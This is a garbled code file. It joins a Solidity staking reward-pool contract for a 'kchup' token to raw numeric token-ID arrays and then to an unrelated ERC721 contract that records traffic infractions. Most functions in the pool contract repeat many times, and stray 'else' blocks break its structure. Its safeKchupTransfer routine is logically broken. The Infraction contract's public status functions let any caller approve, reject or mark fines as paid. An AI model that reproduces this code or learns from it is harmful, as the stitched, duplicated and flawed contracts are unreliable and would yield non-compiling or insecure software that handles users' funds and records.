totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime
) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
} else {
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime
) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
} else {
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime
) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
poolInfo.push(PoolInfo({token: _token, allocPoint: _allocPoint, lastRewardTime: _lastRewardTime, accKchupPerShare: 0, isStarted: _isStarted}));
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime
) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
for (uint8 epochId = 36; epochId >= 1; --epochId) {
if (_toTime >= epochEndTimes[epochId - 1]) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[epochId]);
}
uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]);
if (epochId == 1) {
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochKchupPerSecond[epochId]));
}
_generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]));
}
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
}
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[0]);
}
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
for (uint8 epochId = 36; epochId >= 1; --epochId) {
if (_toTime >= epochEndTimes[epochId - 1]) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[epochId]);
}
uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]);
if (epochId == 1) {
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochKchupPerSecond[epochId]));
}
_generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]));
}
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
}
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[0]);
}
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
for (uint8 epochId = 36; epochId >= 1; --epochId) {
if (_toTime >= epochEndTimes[epochId - 1]) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[epochId]);
}
uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]);
if (epochId == 1) {
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochKchupPerSecond[epochId]));
}
_generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]));
}
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
}
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[0]);
}
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
for (uint8 epochId = 36; epochId >= 1; --epochId) {
if (_toTime >= epochEndTimes[epochId - 1]) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[epochId]);
}
uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]);
if (epochId == 1) {
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochKchupPerSecond[epochId]));
}
_generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]));
}
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
}
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[0]);
}
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
for (uint8 epochId = 36; epochId >= 1; --epochId) {
if (_toTime >= epochEndTimes[epochId - 1]) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[epochId]);
}
uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]);
if (epochId == 1) {
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochKchupPerSecond[epochId]));
}
_generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]));
}
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
}
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[0]);
}
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
for (uint8 epochId = 36; epochId >= 1; --epochId) {
if (_toTime >= epochEndTimes[epochId - 1]) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[epochId]);
}
uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]);
if (epochId == 1) {
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochKchupPerSecond[epochId]));
}
_generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]));
}
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
}
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[0]);
}
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
for (uint8 epochId = 36; epochId >= 1; --epochId) {
if (_toTime >= epochEndTimes[epochId - 1]) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[epochId]);
}
uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]);
if (epochId == 1) {
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochKchupPerSecond[epochId]));
}
_generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]));
}
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
}
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[0]);
}
function pendingKCHUP(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accKchupPerShare = pool.accKchupPerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kchupReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accKchupPerShare = accKchupPerShare.add(_kchupReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accKchupPerShare).div(1e18).sub(user.rewardDebt);
}
function pendingKCHUP(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accKchupPerShare = pool.accKchupPerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kchupReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accKchupPerShare = accKchupPerShare.add(_kchupReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accKchupPerShare).div(1e18).sub(user.rewardDebt);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kchupReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accKchupPerShare = pool.accKchupPerShare.add(_kchupReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kchupReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accKchupPerShare = pool.accKchupPerShare.add(_kchupReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kchupReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accKchupPerShare = pool.accKchupPerShare.add(_kchupReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kchupReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accKchupPerShare = pool.accKchupPerShare.add(_kchupReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kchupReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accKchupPerShare = pool.accKchupPerShare.add(_kchupReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accKchupPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKchupTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accKchupPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accKchupPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKchupTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accKchupPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accKchupPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKchupTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accKchupPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accKchupPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKchupTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accKchupPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accKchupPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKchupTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accKchupPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accKchupPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKchupTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accKchupPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accKchupPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKchupTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accKchupPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
function safeKchupTransfer(address _to, uint256 _amount) internal {
uint256 _kchupBal = kchup.balanceOf(address(this));
if (_kchupBal > 0) {
if (_amount > _kchupBal) {
kchup.safeTransfer(_to, _kchupBal);
kchup.safeTransfer(_to, _amount);
}
}
}
function safeKchupTransfer(address _to, uint256 _amount) internal {
uint256 _kchupBal = kchup.balanceOf(address(this));
if (_kchupBal > 0) {
if (_amount > _kchupBal) {
kchup.safeTransfer(_to, _kchupBal);
kchup.safeTransfer(_to, _amount);
}
}
}
function safeKchupTransfer(address _to, uint256 _amount) internal {
uint256 _kchupBal = kchup.balanceOf(address(this));
if (_kchupBal > 0) {
if (_amount > _kchupBal) {
kchup.safeTransfer(_to, _kchupBal);
kchup.safeTransfer(_to, _amount);
}
}
}
} else {
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(
IERC20 _token,
uint256 amount,
address to
) external onlyOperator {
if (block.timestamp < epochEndTimes[1] + 30 days) {
require(_token != kchup, "!kchup");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "!pool.token");
}
}
_token.safeTransfer(to, amount);
}
function governanceRecoverUnsupported(
IERC20 _token,
uint256 amount,
address to
) external onlyOperator {
if (block.timestamp < epochEndTimes[1] + 30 days) {
require(_token != kchup, "!kchup");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "!pool.token");
}
}
_token.safeTransfer(to, amount);
}
function governanceRecoverUnsupported(
IERC20 _token,
uint256 amount,
address to
) external onlyOperator {
if (block.timestamp < epochEndTimes[1] + 30 days) {
require(_token != kchup, "!kchup");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "!pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 6,954,010 |
[
1,
8067,
716,
333,
2845,
711,
1158,
1131,
387,
498,
434,
1475,
1792,
3079,
261,
266,
6397,
2934,
17561,
16,
326,
314,
1643,
82,
1359,
903,
745,
1475,
1792,
3079,
25722,
17631,
1060,
707,
471,
1366,
19890,
358,
333,
2845,
622,
326,
8435,
18,
314,
1643,
82,
1359,
3807,
434,
1517,
729,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
478,
566,
281,
18485,
510,
6159,
2864,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
203,
565,
1758,
1071,
3726,
31,
203,
203,
565,
1958,
25003,
288,
203,
565,
289,
203,
203,
565,
1958,
8828,
966,
288,
203,
565,
289,
203,
203,
565,
467,
654,
39,
3462,
1071,
417,
343,
416,
31,
203,
203,
203,
203,
203,
203,
565,
2254,
5034,
8526,
1071,
7632,
5269,
17631,
14727,
273,
306,
203,
3639,
1059,
8778,
22,
4033,
5520,
18,
5540,
225,
2437,
16,
203,
3639,
12292,
5482,
5482,
6675,
18,
5540,
225,
2437,
16,
203,
3639,
1059,
2947,
6030,
3361,
23,
18,
3028,
225,
2437,
16,
203,
3639,
890,
11290,
6734,
7950,
18,
6669,
225,
2437,
16,
203,
3639,
21382,
6334,
29,
3600,
18,
5324,
225,
2437,
16,
203,
3639,
13159,
5482,
25,
1578,
27,
18,
8642,
225,
2437,
16,
203,
3639,
890,
3461,
2947,
3462,
27,
18,
2733,
225,
2437,
16,
203,
3639,
12899,
26262,
6162,
27,
18,
5193,
225,
2437,
16,
203,
3639,
12732,
3028,
8749,
8204,
18,
6334,
225,
2437,
16,
203,
3639,
576,
5995,
5877,
6675,
18,
10593,
225,
2437,
16,
203,
3639,
576,
1578,
10525,
2539,
20,
18,
5608,
225,
2437,
16,
203,
3639,
576,
2313,
5082,
25,
6675,
18,
5482,
225,
2437,
16,
203,
3639,
4044,
6675,
25,
6669,
18,
5908,
225,
2437,
16,
203,
3639,
404,
5292,
1105,
26645,
18,
3707,
225,
2437,
16,
203,
3639,
8043,
5026,
4313,
6840,
18,
7132,
2
] |
pragma solidity 0.5.8;
import "@openzeppelin/contracts/token/ERC721/ERC721Full.sol";
contract Infraction is ERC721Full {
enum InfractionStatus {
PENDIENTE,
APROBADA,
ABONADA,
RECLAMADA,
RECHAZADA,
PENDIENTE_SEGUNDA_REVISION,
RECHAZADA_DEFINITIVO
}
struct InfractionData {
string carId;
string proofUrl;
uint256 proofDate;
uint256 tokenId;
InfractionStatus status;
int gpsCoordsLat;
int gpsCoordsLon;
}
InfractionData[] infractions;
mapping(uint256 => uint256) infractionsId;
mapping(string => uint256[]) infractionsByCarId;
constructor() ERC721Full("Infraction","IX") public {
}
function mint(
string memory _carId,
string memory _proofUrl,
uint256 _proofdate,
int _gpsCoordsLat,
int _gpsCoordsLon
) public {
bytes memory encoded = abi.encodePacked(_carId, _proofdate);
uint256 tokenId = uint256(keccak256(encoded));
require(infractionsId[tokenId] == 0, 'Infraction Hash exists');
infractionsId[tokenId] = infractions.length;
infractions.push(
InfractionData(
_carId, _proofUrl, _proofdate, tokenId, InfractionStatus.PENDIENTE, _gpsCoordsLat, _gpsCoordsLon
)
);
uint256[] storage infractionByCarId = infractionsByCarId[_carId]; // storage is a pointer?
infractionByCarId.push(infractions.length - 1);
_mint(msg.sender, tokenId);
}
function getInfractionsIndexByCarId(string memory _carId) public view returns (uint256[] memory) {
uint256[] memory infractionsIndex = infractionsByCarId[_carId];
return (infractionsIndex);
}
function getTotalInfractionsByCarId(string memory _carId) public view returns(uint256) {
uint256 totalInfractions = infractionsByCarId[_carId].length;
return (totalInfractions);
}
function getInfractionByIndex(uint _index) public view
returns (
string memory carId,
string memory proofUrl,
uint256 proofDate,
uint256 tokenId,
InfractionStatus status,
int gpsCoordsLat,
int gpsCoordsLon
) {
return (
infractions[_index].carId,
infractions[_index].proofUrl,
infractions[_index].proofDate,
infractions[_index].tokenId,
infractions[_index].status,
infractions[_index].gpsCoordsLat,
infractions[_index].gpsCoordsLon
);
}
function getInfractionByTokenId(uint _tokenId) public view
returns (
uint index,
string memory carId,
string memory proofUrl,
uint256 proofDate,
uint256 tokenId,
InfractionStatus status,
int gpsCoordsLat,
int gpsCoordsLon
) {
index = infractionsId[_tokenId];
return (
index,
infractions[index].carId,
infractions[index].proofUrl,
infractions[index].proofDate,
infractions[index].tokenId,
infractions[index].status,
infractions[index].gpsCoordsLat,
infractions[index].gpsCoordsLon
);
}
// State machine functions
function setInfractionApproved(uint256 infractionIndex) public {
InfractionData storage infraction = infractions[infractionIndex];
bool isValidStatus = infraction.status == InfractionStatus.PENDIENTE || infraction.status == InfractionStatus.PENDIENTE_SEGUNDA_REVISION;
require(isValidStatus, 'Invalid infraction status');
infraction.status = InfractionStatus.APROBADA;
}
function setInfractionPayed(uint256 infractionIndex) public {
InfractionData storage infraction = infractions[infractionIndex];
bool isValidStatus = infraction.status == InfractionStatus.APROBADA;
require(isValidStatus, 'Invalid infraction status');
infraction.status = InfractionStatus.ABONADA;
}
function setInfractionClaimed(uint256 infractionIndex) public {
InfractionData storage infraction = infractions[infractionIndex];
bool isValidStatus = infraction.status == InfractionStatus.ABONADA;
require(isValidStatus, 'Invalid infraction status');
infraction.status = InfractionStatus.RECLAMADA;
}
function setInfractionRejected(uint256 infractionIndex) public {
InfractionData storage infraction = infractions[infractionIndex];
bool isValidStatus = infraction.status == InfractionStatus.PENDIENTE;
require(isValidStatus, 'Invalid infraction status');
infraction.status = InfractionStatus.RECHAZADA;
}
